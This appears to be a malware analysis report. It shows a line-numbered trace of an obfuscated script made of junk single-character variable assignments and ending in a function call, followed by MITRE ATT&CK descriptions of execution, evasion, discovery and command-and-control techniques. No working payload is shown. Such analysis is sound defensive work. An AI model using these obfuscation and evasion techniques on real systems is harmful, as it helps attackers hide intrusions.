544	wjvlvk = "C";
545	wjvlvk = "O";
546	wjvlvk = "A";
547	wjvlvk = "J";
548	wjvlvk = "y";
549	wjvlvk = "n";
550	sprqzktyz = "l";
551	sprqzktyz = "J";
552	sprqzktyz = "c";
553	sprqzktyz = "E";
554	sprqzktyz = "q";
555	udxsyzpjk = "Q";
556	udxsyzpjk = "Y";
557	udxsyzpjk = "b";
558	udxsyzpjk = "Y";
559	udxsyzpjk = "v";
560	udxsyzpjk = "T";
561	udxsyzpjk = "F";
562	udxsyzpjk = "i";
563	udxsyzpjk = "C";
564	udxsyzpjk = "p";
565	udxsyzpjk = "A";
566	udxsyzpjk = "Z";
567	udxsyzpjk = "u";
568	udxsyzpjk = "Q";
569	udxsyzpjk = "l";
570	udxsyzpjk = "X";
571	udxsyzpjk = "k";
572	udxsyzpjk = "F";
573	udxsyzpjk = "B";
574	udxsyzpjk = "M";
575	udxsyzpjk = "y";
576	udxsyzpjk = "i";
577	udxsyzpjk = "b";
578	udxsyzpjk = "Z";
579	udxsyzpjk = "a";
580	udxsyzpjk = "v";
581	mzpesyz = "U";
582	mzpesyz = "X";
583	mzpesyz = "F";
584	mzpesyz = "y";
585	mzpesyz = "Y";
586	mzpesyz = "s";
587	mzpesyz = "G";
588	mzpesyz = "t";
589	mzpesyz = "d";
590	mzpesyz = "w";
591	mzpesyz = "V";
592	mzpesyz = "z";
593	mzpesyz = "y";
594	mzpesyz = "Z";
595	mzpesyz = "o";
596	mzpesyz = "u";
597	mzpesyz = "k";
598	mzpesyz = "i";
599	mzpesyz = "j";
600	mzpesyz = "l";
601	mzpesyz = "B";
602	mzpesyz = "E";
603	mzpesyz = "W";
604	mzpesyz = "k";
605	mzpesyz = "A";
606	mzpesyz = "v";
607	mzpesyz = "n";
608	mzpesyz = "D";
609	mzpesyz = "1";
610	rojtaglep = "N";
611	rojtaglep = "c";
612	rojtaglep = "h";
613	rojtaglep = "J";
614	rojtaglep = "I";
615	rojtaglep = "Z";
616	rojtaglep = "z";
617	rojtaglep = "Y";
618	rojtaglep = "B";
619	rojtaglep = "J";
620	rojtaglep = "U";
621	rojtaglep = "H";
622	rojtaglep = "Q";
623	rojtaglep = "T";
624	rojtaglep = "m";
625	rojtaglep = "L";
626	rojtaglep = "b";
627	nutgzmca = "a";
628	nutgzmca = "s";
629	nutgzmca = "F";
630	nutgzmca = "Y";
631	nutgzmca = "P";
632	nutgzmca = "N";
633	nutgzmca = "x";
634	nutgzmca = "e";
635	nutgzmca = "E";
636	nutgzmca = "E";
637	nutgzmca = "p";
638	uolryw = "q";
639	uolryw = "j";
640	uolryw = "S";
641	uolryw = "x";
642	uolryw = "Z";
643	uolryw = "M";
644	uolryw = "r";
645	uolryw = "F";
646	uolryw = "D";
647	uolryw = "q";
648	uolryw = "w";
649	uolryw = "v";
650	uolryw = "e";
651	uolryw = "L";
652	uolryw = "N";
653	uolryw = "J";
654	uolryw = "G";
655	uolryw = "g";
656	uolryw = "K";
657	uolryw = "c";
658	uolryw = "F";
659	uolryw = "G";
660	uolryw = "i";
661	uolryw = "t";
662	uolryw = "r";
663	uolryw = "n";
664	uolryw = "H";
665	uolryw = "V";
666	uolryw = "q";
667	uolryw = "i";
668	uolryw = "E";
669	uolryw = "b";
670	uolryw = "A";
671	uolryw = "d";
672	uolryw = "U";
673	uolryw = "i";
674	uolryw = "S";
675	uolryw = "k";
676	uolryw = "R";
677	uolryw = "H";
678	uolryw = "P";
679	uolryw = "m";
680	uolryw = "X";
681	uolryw = "U";
682	uolryw = "_";
683	potdydh = "o";
684	potdydh = "O";
685	potdydh = "T";
686	potdydh = "B";
687	potdydh = "i";
688	potdydh = "j";
689	potdydh = "F";
690	potdydh = "R";
691	potdydh = "U";
692	potdydh = "m";
693	potdydh = "A";
694	potdydh = "o";
695	potdydh = "y";
696	potdydh = "t";
697	potdydh = "P";
698	potdydh = "a";
699	potdydh = "E";
700	potdydh = "P";
701	potdydh = "b";
702	potdydh = "k";
703	potdydh = "y";
704	potdydh = "h";
705	potdydh = "Q";
706	potdydh = "C";
707	potdydh = "G";
708	potdydh = "o";
709	potdydh = "e";
710	potdydh = "T";
711	potdydh = "k";
712	mzacgwe = "z";
713	mzacgwe = "l";
714	mzacgwe = "u";
715	mzacgwe = "f";
716	mzacgwe = "x";
717	mzacgwe = "g";
718	mzacgwe = "A";
719	mzacgwe = "W";
720	mzacgwe = "X";
721	mzacgwe = "X";
722	mzacgwe = "U";
723	mzacgwe = "c";
724	mzacgwe = "B";
725	mzacgwe = "G";
726	mzacgwe = "L";
727	mzacgwe = "N";
728	mzacgwe = "L";
729	mzacgwe = "E";
730	mzacgwe = "R";
731	mzacgwe = "J";
732	mzacgwe = "C";
733	mzacgwe = "i";
734	mzacgwe = "z";
735	mzacgwe = "y";
736	mzacgwe = "Z";
737	mzacgwe = "w";
738	mzacgwe = "l";
739	ebfubzmp = "X";
740	ebfubzmp = "u";
741	ebfubzmp = "w";
742	ebfubzmp = "U";
743	ebfubzmp = "W";
744	ebfubzmp = "S";
745	ebfubzmp = "u";
746	ebfubzmp = "K";
747	ebfubzmp = "f";
748	ebfubzmp = "T";
749	ebfubzmp = "l";
750	ebfubzmp = "A";
751	ebfubzmp = "a";
752	ebfubzmp = "k";
753	ebfubzmp = "H";
754	ebfubzmp = "Z";
755	ebfubzmp = "w";
756	ebfubzmp = "K";
757	ebfubzmp = "o";
758	bewzzvcw = "y";
759	bewzzvcw = "P";
760	bewzzvcw = "b";
761	bewzzvcw = "Z";
762	bewzzvcw = "j";
763	bewzzvcw = "j";
764	bewzzvcw = "T";
765	bewzzvcw = "s";
766	bewzzvcw = "l";
767	bewzzvcw = "m";
768	bewzzvcw = "Q";
769	bewzzvcw = "c";
770	bewzzvcw = "g";
771	bewzzvcw = "v";
772	bewzzvcw = "G";
773	bewzzvcw = "R";
774	bewzzvcw = "i";
775	bewzzvcw = "R";
776	bewzzvcw = "U";
777	bewzzvcw = "F";
778	bewzzvcw = "U";
779	bewzzvcw = "A";
780	bewzzvcw = "F";
781	bewzzvcw = "T";
782	bewzzvcw = "y";
783	bewzzvcw = "E";
784	bewzzvcw = "f";
785	bewzzvcw = "T";
786	bewzzvcw = "M";
787	bewzzvcw = "K";
788	bewzzvcw = "H";
789	bewzzvcw = "l";
790	bewzzvcw = "A";
791	bewzzvcw = "N";
792	bewzzvcw = "p";
793	bewzzvcw = "U";
794	bewzzvcw = "f";
795	bewzzvcw = "X";
796	bewzzvcw = "O";
797	bewzzvcw = "7";
798	wulyvpil = "z";
799	wulyvpil = "Y";
800	wulyvpil = "L";
801	wulyvpil = "g";
802	wulyvpil = "M";
803	wulyvpil = "d";
804	wulyvpil = "G";
805	wulyvpil = "Z";
806	wulyvpil = "f";
807	wulyvpil = "j";
808	wulyvpil = "T";
809	wulyvpil = "o";
810	wulyvpil = "I";
811	wulyvpil = "k";
812	wulyvpil = "Q";
813	wulyvpil = "s";
814	wulyvpil = "a";
815	wulyvpil = "d";
816	wulyvpil = "Q";
817	wulyvpil = "Y";
818	wulyvpil = "K";
819	wulyvpil = "E";
820	wulyvpil = "O";
821	wulyvpil = "J";
822	wulyvpil = "k";
823	wulyvpil = "S";
824	wulyvpil = "f";
825	wulyvpil = "n";
826	wulyvpil = "o";
827	wulyvpil = "R";
828	cpxbxmhoa = "J";
829	cpxbxmhoa = "M";
830	cpxbxmhoa = "S";
831	xtmwf = "e";
832	xtmwf = "v";
833	xtmwf = "E";
834	xtmwf = "b";
835	xtmwf = "g";
836	xtmwf = "Z";
837	xtmwf = "R";
838	xtmwf = "r";
839	xtmwf = "A";
840	xtmwf = "L";
841	xtmwf = "i";
842	xtmwf = "H";
843	xtmwf = "a";
844	xtmwf = "f";
845	xtmwf = "b";
846	xtmwf = "D";
847	xtmwf = "a";
848	xtmwf = "R";
849	xtmwf = "c";
850	xtmwf = "B";
851	xtmwf = "T";
852	xtmwf = "i";
853	vjgvepw = "z";
854	vjgvepw = "G";
855	vjgvepw = "q";
856	vjgvepw = "y";
857	vjgvepw = "Z";
858	vjgvepw = "P";
859	vjgvepw = "O";
860	vjgvepw = "O";
861	vjgvepw = "r";
862	vjgvepw = "b";
863	vjgvepw = "I";
864	vjgvepw = "j";
865	vjgvepw = "h";
866	vjgvepw = "l";
867	vjgvepw = "J";
868	vjgvepw = "P";
869	vjgvepw = "t";
870	vjgvepw = "P";
871	vjgvepw = "R";
872	vjgvepw = "R";
873	vjgvepw = "M";
874	vjgvepw = "k";
875	vjgvepw = "Q";
876	vjgvepw = "x";
877	qybga = "N";
878	qybga = "Z";
879	qybga = "u";
880	qybga = "l";
881	qybga = "i";
882	qybga = "d";
883	qybga = "c";
884	qybga = "R";
885	qybga = "Q";
886	qybga = "Q";
887	qybga = "X";
888	qybga = "d";
889	qybga = "D";
890	qybga = "K";
891	qybga = "u";
892	qybga = "I";
893	qybga = "A";
894	qybga = "r";
895	qybga = "m";
896	dkiadhmp = "e";
897	dkiadhmp = "F";
898	dkiadhmp = "a";
899	dkiadhmp = "N";
900	dkiadhmp = "P";
901	dkiadhmp = "W";
902	dkiadhmp = "b";
903	dkiadhmp = "O";
904	dkiadhmp = "s";
905	dkiadhmp = "k";
906	dkiadhmp = "b";
907	dkiadhmp = "Q";
908	dkiadhmp = "C";
909	dkiadhmp = "W";
910	dkiadhmp = "Y";
911	dkiadhmp = "Q";
912	gpqqqchh = "A";
913	gpqqqchh = "J";
914	gpqqqchh = "u";
915	gpqqqchh = "A";
916	gpqqqchh = "X";
917	gpqqqchh = "Q";
918	gpqqqchh = "f";
919	gpqqqchh = "U";
920	gpqqqchh = "y";
921	gpqqqchh = "O";
922	yizsaokea = "E";
923	yizsaokea = "W";
924	yizsaokea = "R";
925	yizsaokea = "p";
926	yizsaokea = "I";
927	jxuijnaz = "e";
928	jxuijnaz = "A";
929	jxuijnaz = "w";
930	jxuijnaz = "E";
931	jxuijnaz = "M";
932	jxuijnaz = "z";
933	jxuijnaz = "w";
934	jxuijnaz = "z";
935	jxuijnaz = "F";
936	jxuijnaz = "j";
937	jxuijnaz = "X";
938	jxuijnaz = "x";
939	jxuijnaz = "j";
940	jxuijnaz = "i";
941	jxuijnaz = "e";
942	jxuijnaz = "v";
943	jxuijnaz = "a";
944	jxuijnaz = "r";
945	jxuijnaz = "y";
946	jxuijnaz = "T";
947	jxuijnaz = "h";
948	jxuijnaz = "T";
949	jxuijnaz = "W";
950	jxuijnaz = "G";
951	jxuijnaz = "Y";
952	jxuijnaz = "j";
953	dxsdgrp = "P";
954	dxsdgrp = "5";
955	klyym = "v";
956	klyym = "L";
957	klyym = "Y";
958	klyym = "c";
959	klyym = "s";
960	klyym = "F";
961	klyym = "y";
962	klyym = "A";
963	klyym = "l";
964	klyym = "T";
965	klyym = "I";
966	klyym = "a";
967	klyym = "v";
968	klyym = "p";
969	klyym = "I";
970	klyym = "g";
971	klyym = "e";
972	klyym = "P";
973	klyym = "Y";
974	klyym = "w";
975	klyym = "G";
976	klyym = "A";
977	klyym = "v";
978	klyym = "v";
979	klyym = "k";
980	klyym = "d";
981	klyym = "r";
982	klyym = "R";
983	klyym = "K";
984	klyym = "Y";
985	klyym = "a";
986	vxjpl = "n";
987	vxjpl = "F";
988	vxjpl = "M";
989	vxjpl = "Y";
990	vxjpl = "N";
991	vxjpl = "y";
992	vxjpl = "D";
993	vxjpl = "S";
994	vxjpl = "e";
995	vxjpl = "t";
996	tyhkm = "d";
997	efowmsm = "e";
998	efowmsm = "B";
999	efowmsm = "b";
1000	efowmsm = "v";
1001	efowmsm = "R";
1002	efowmsm = "K";
1003	efowmsm = "b";
1004	efowmsm = "e";
1005	efowmsm = "G";
1006	efowmsm = "V";
1007	efowmsm = "G";
1008	efowmsm = "Y";
1009	efowmsm = "h";
1010	efowmsm = "Q";
1011	efowmsm = "c";
1012	efowmsm = "c";
1013	efowmsm = "V";
1014	efowmsm = "t";
1015	efowmsm = "R";
1016	efowmsm = "G";
1017	efowmsm = "Q";
1018	efowmsm = "z";
1019	efowmsm = "O";
1020	efowmsm = "s";
1021	efowmsm = "n";
1022	efowmsm = "T";
1023	efowmsm = "f";
1024	efowmsm = "n";
1025	efowmsm = "b";
1026	efowmsm = "H";
1027	gyacasibb = "Z";
1028	gyacasibb = "r";
1029	gyacasibb = "g";
1030	gyacasibb = "t";
1031	gyacasibb = "W";
1032	gyacasibb = "W";
1033	gyacasibb = "S";
1034	gyacasibb = "N";
1035	gyacasibb = "b";
1036	gyacasibb = "m";
1037	gyacasibb = "J";
1038	gyacasibb = "u";
1039	gyacasibb = "O";
1040	gyacasibb = "e";
1041	lzricb = "X";
1042	lzricb = "o";
1043	lzricb = "j";
1044	lzricb = "m";
1045	lzricb = "x";
1046	lzricb = "L";
1047	lzricb = "x";
1048	lzricb = "T";
1049	lzricb = "p";
1050	lzricb = "f";
1051	xqrjdbvq = "T";
1052	xqrjdbvq = "e";
1053	xqrjdbvq = "R";
1054	xqrjdbvq = "E";
1055	xqrjdbvq = "T";
1056	xqrjdbvq = "l";
1057	xqrjdbvq = "c";
1058	xqrjdbvq = "n";
1059	xqrjdbvq = "k";
1060	xqrjdbvq = "d";
1061	xqrjdbvq = "g";
1062	xqrjdbvq = "r";
1063	xqrjdbvq = "Z";
1064	xqrjdbvq = "q";
1065	xqrjdbvq = "L";
1066	xqrjdbvq = "S";
1067	xqrjdbvq = "u";
1068	xqrjdbvq = "K";
1069	xqrjdbvq = "l";
1070	xqrjdbvq = "W";
1071	xqrjdbvq = "W";
1072	xqrjdbvq = "b";
1073	xqrjdbvq = "t";
1074	xqrjdbvq = "B";
1075	xqrjdbvq = "B";
1076	xqrjdbvq = "z";
1077	xqrjdbvq = "y";
1078	xqrjdbvq = "j";
1079	xqrjdbvq = "G";
1080	xqrjdbvq = "J";
1081	xqrjdbvq = "b";
1082	xqrjdbvq = "L";
1083	xqrjdbvq = "F";
1084	xqrjdbvq = "g";
1085	dmymjgtr = "H";
1086	dmymjgtr = "A";
1087	dmymjgtr = "L";
1088	dmymjgtr = "U";
1089	dmymjgtr = "O";
1090	dmymjgtr = "D";
1091	dmymjgtr = "s";
1092	dmymjgtr = "M";
1093	dmymjgtr = "L";
1094	dmymjgtr = "k";
1095	dmymjgtr = "Z";
1096	dmymjgtr = "z";
1097	dmymjgtr = "k";
1098	dmymjgtr = "o";
1099	dmymjgtr = "R";
1100	dmymjgtr = "d";
1101	dmymjgtr = "S";
1102	dmymjgtr = "v";
1103	dmymjgtr = "r";
1104	dmymjgtr = "Y";
1105	dmymjgtr = "h";
1106	dmymjgtr = "v";
1107	dmymjgtr = "T";
1108	dmymjgtr = "y";
1109	dmymjgtr = "g";
1110	dmymjgtr = "E";
1111	dmymjgtr = "M";
1112	dmymjgtr = "z";
1113	dmymjgtr = "P";
1114	dmymjgtr = "B";
1115	dmymjgtr = "M";
1116	dmymjgtr = "A";
1117	dmymjgtr = "T";
1118	dmymjgtr = "X";
1119	dmymjgtr = "x";
1120	dmymjgtr = "F";
1121	dmymjgtr = "x";
1122	dmymjgtr = "z";
1123	dmymjgtr = "k";
1124	dmymjgtr = "s";
1125	dmymjgtr = "x";
1126	dmymjgtr = "&";
1127	hooafnf = "W";
1128	hooafnf = "j";
1129	hooafnf = "j";
1130	hooafnf = "A";
1131	hooafnf = "k";
1132	hooafnf = "d";
1133	hooafnf = "V";
1134	hooafnf = "S";
1135	hooafnf = "n";
1136	hooafnf = "W";
1137	hooafnf = "t";
1138	hooafnf = "M";
1139	hooafnf = "H";
1140	hooafnf = "a";
1141	hooafnf = "H";
1142	hooafnf = "D";
1143	hooafnf = "b";
1144	hooafnf = "S";
1145	hooafnf = "o";
1146	hooafnf = "v";
1147	hooafnf = "H";
1148	hooafnf = "o";
1149	hooafnf = "C";
1150	hooafnf = "F";
1151	hooafnf = "G";
1152	hooafnf = "T";
1153	hooafnf = "K";
1154	hooafnf = "D";
1155	hooafnf = "G";
1156	hooafnf = "d";
1157	hooafnf = "z";
1158	hooafnf = "e";
1159	hooafnf = "b";
1160	hooafnf = "J";
1161	hooafnf = "q";
1162	hooafnf = "s";
1163	hooafnf = "f";
1164	hooafnf = "O";
1165	hooafnf = "a";
1166	hooafnf = "K";
1167	yjlbu = "J";
1168	yjlbu = "g";
1169	yjlbu = "D";
1170	yjlbu = "H";
1171	yjlbu = "C";
1172	yjlbu = "Z";
1173	yjlbu = "O";
1174	yjlbu = "h";
1175	yjlbu = "O";
1176	yjlbu = "T";
1177	yjlbu = "p";
1178	yjlbu = "R";
1179	yjlbu = "F";
1180	yjlbu = "e";
1181	yjlbu = "i";
1182	yjlbu = "n";
1183	yjlbu = "E";
1184	yjlbu = "B";
1185	yjlbu = "i";
1186	yjlbu = "\"";
1187	xukzaywm = "P";
1188	xukzaywm = "J";
1189	xukzaywm = "x";
1190	xukzaywm = "Y";
1191	xukzaywm = "U";
1192	xukzaywm = "x";
1193	xukzaywm = "B";
1194	xukzaywm = "a";
1195	xukzaywm = "w";
1196	xukzaywm = "v";
1197	xukzaywm = "Z";
1198	xukzaywm = "x";
1199	xukzaywm = "q";
1200	xukzaywm = "E";
1201	xukzaywm = "n";
1202	xukzaywm = "h";
1203	xukzaywm = "Q";
1204	xukzaywm = "g";
1205	xukzaywm = "t";
1206	xukzaywm = "o";
1207	xukzaywm = "k";
1208	xukzaywm = "V";
1209	xukzaywm = "l";
1210	xukzaywm = "X";
1211	xukzaywm = "D";
1212	xukzaywm = "L";
1213	xukzaywm = "L";
1214	xvlxqikvt = "H";
1215	xvlxqikvt = "j";
1216	xvlxqikvt = "q";
1217	xvlxqikvt = "Q";
1218	xvlxqikvt = "u";
1219	xvlxqikvt = "W";
1220	xvlxqikvt = "w";
1221	xvlxqikvt = "e";
1222	xvlxqikvt = "K";
1223	xvlxqikvt = "R";
1224	xvlxqikvt = "d";
1225	xvlxqikvt = "e";
1226	xvlxqikvt = "z";
1227	xvlxqikvt = "G";
1228	xvlxqikvt = "M";
1229	xvlxqikvt = "p";
1230	xvlxqikvt = "w";
1231	yvrsctr = "Z";
1232	yvrsctr = "U";
1233	yvrsctr = "X";
1234	yvrsctr = "k";
1235	yvrsctr = "f";
1236	yvrsctr = "Y";
1237	yvrsctr = "p";
1238	yvrsctr = "Q";
1239	yvrsctr = "Z";
1240	yvrsctr = "v";
1241	yvrsctr = "F";
1242	yvrsctr = "Q";
1243	yvrsctr = "S";
1244	yvrsctr = "J";
1245	yvrsctr = "p";
1246	yvrsctr = "C";
1247	yvrsctr = "T";
1248	yvrsctr = "B";
1249	yvrsctr = "a";
1250	yvrsctr = "Z";
1251	yvrsctr = "U";
1252	yvrsctr = "c";
1253	yvrsctr = "G";
1254	yvrsctr = "L";
1255	yvrsctr = "h";
1256	yvrsctr = "d";
1257	yvrsctr = "X";
1258	yvrsctr = "L";
1259	yvrsctr = "w";
1260	yvrsctr = " ";
1261	ymzrxn = "p";
1262	ymzrxn = "m";
1263	ymzrxn = "w";
1264	ymzrxn = "C";
1265	ymzrxn = "K";
1266	ymzrxn = "J";
1267	ymzrxn = "Y";
1268	ymzrxn = "u";
1269	ymzrxn = "f";
1270	ymzrxn = "y";
1271	ymzrxn = "s";
1272	ymzrxn = "h";
1273	ymzrxn = "U";
1274	ymzrxn = "F";
1275	kcpnkigk = "B";
1276	kcpnkigk = "y";
1277	kcpnkigk = "B";
1278	kcpnkigk = "N";
1279	kcpnkigk = "r";
1280	kcpnkigk = "r";
1281	kcpnkigk = "e";
1282	kcpnkigk = "M";
1283	kcpnkigk = "v";
1284	kcpnkigk = "q";
1285	kcpnkigk = "E";
1286	kcpnkigk = "R";
1287	kcpnkigk = "m";
1288	kcpnkigk = "a";
1289	kcpnkigk = "N";
1290	oixfj = "z";
1291	oixfj = "S";
1292	oixfj = "t";
1293	oixfj = "P";
1294	oixfj = "w";
1295	oixfj = "I";
1296	oixfj = "I";
1297	oixfj = "w";
1298	oixfj = "8";
1299	ugtpkxtvj = "t";
1300	ugtpkxtvj = "C";
1301	ugtpkxtvj = "H";
1302	ugtpkxtvj = "Z";
1303	ugtpkxtvj = "h";
1304	ugtpkxtvj = "T";
1305	ugtpkxtvj = "B";
1306	ugtpkxtvj = "C";
1307	ugtpkxtvj = "v";
1308	ugtpkxtvj = "f";
1309	ugtpkxtvj = "d";
1310	ugtpkxtvj = "S";
1311	ugtpkxtvj = "k";
1312	ugtpkxtvj = "V";
1313	ugtpkxtvj = "M";
1314	ugtpkxtvj = "m";
1315	ugtpkxtvj = "T";
1316	ugtpkxtvj = "G";
1317	ugtpkxtvj = "R";
1318	ugtpkxtvj = "Z";
1319	ugtpkxtvj = "y";
1320	ugtpkxtvj = "v";
1321	ugtpkxtvj = "V";
1322	ugtpkxtvj = "D";
1323	ugtpkxtvj = "I";
1324	ugtpkxtvj = "z";
1325	ugtpkxtvj = "Q";
1326	ugtpkxtvj = "A";
1327	ugtpkxtvj = "c";
1328	ugtpkxtvj = "s";
1329	vwqnzknc ( );	vwqnzknc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

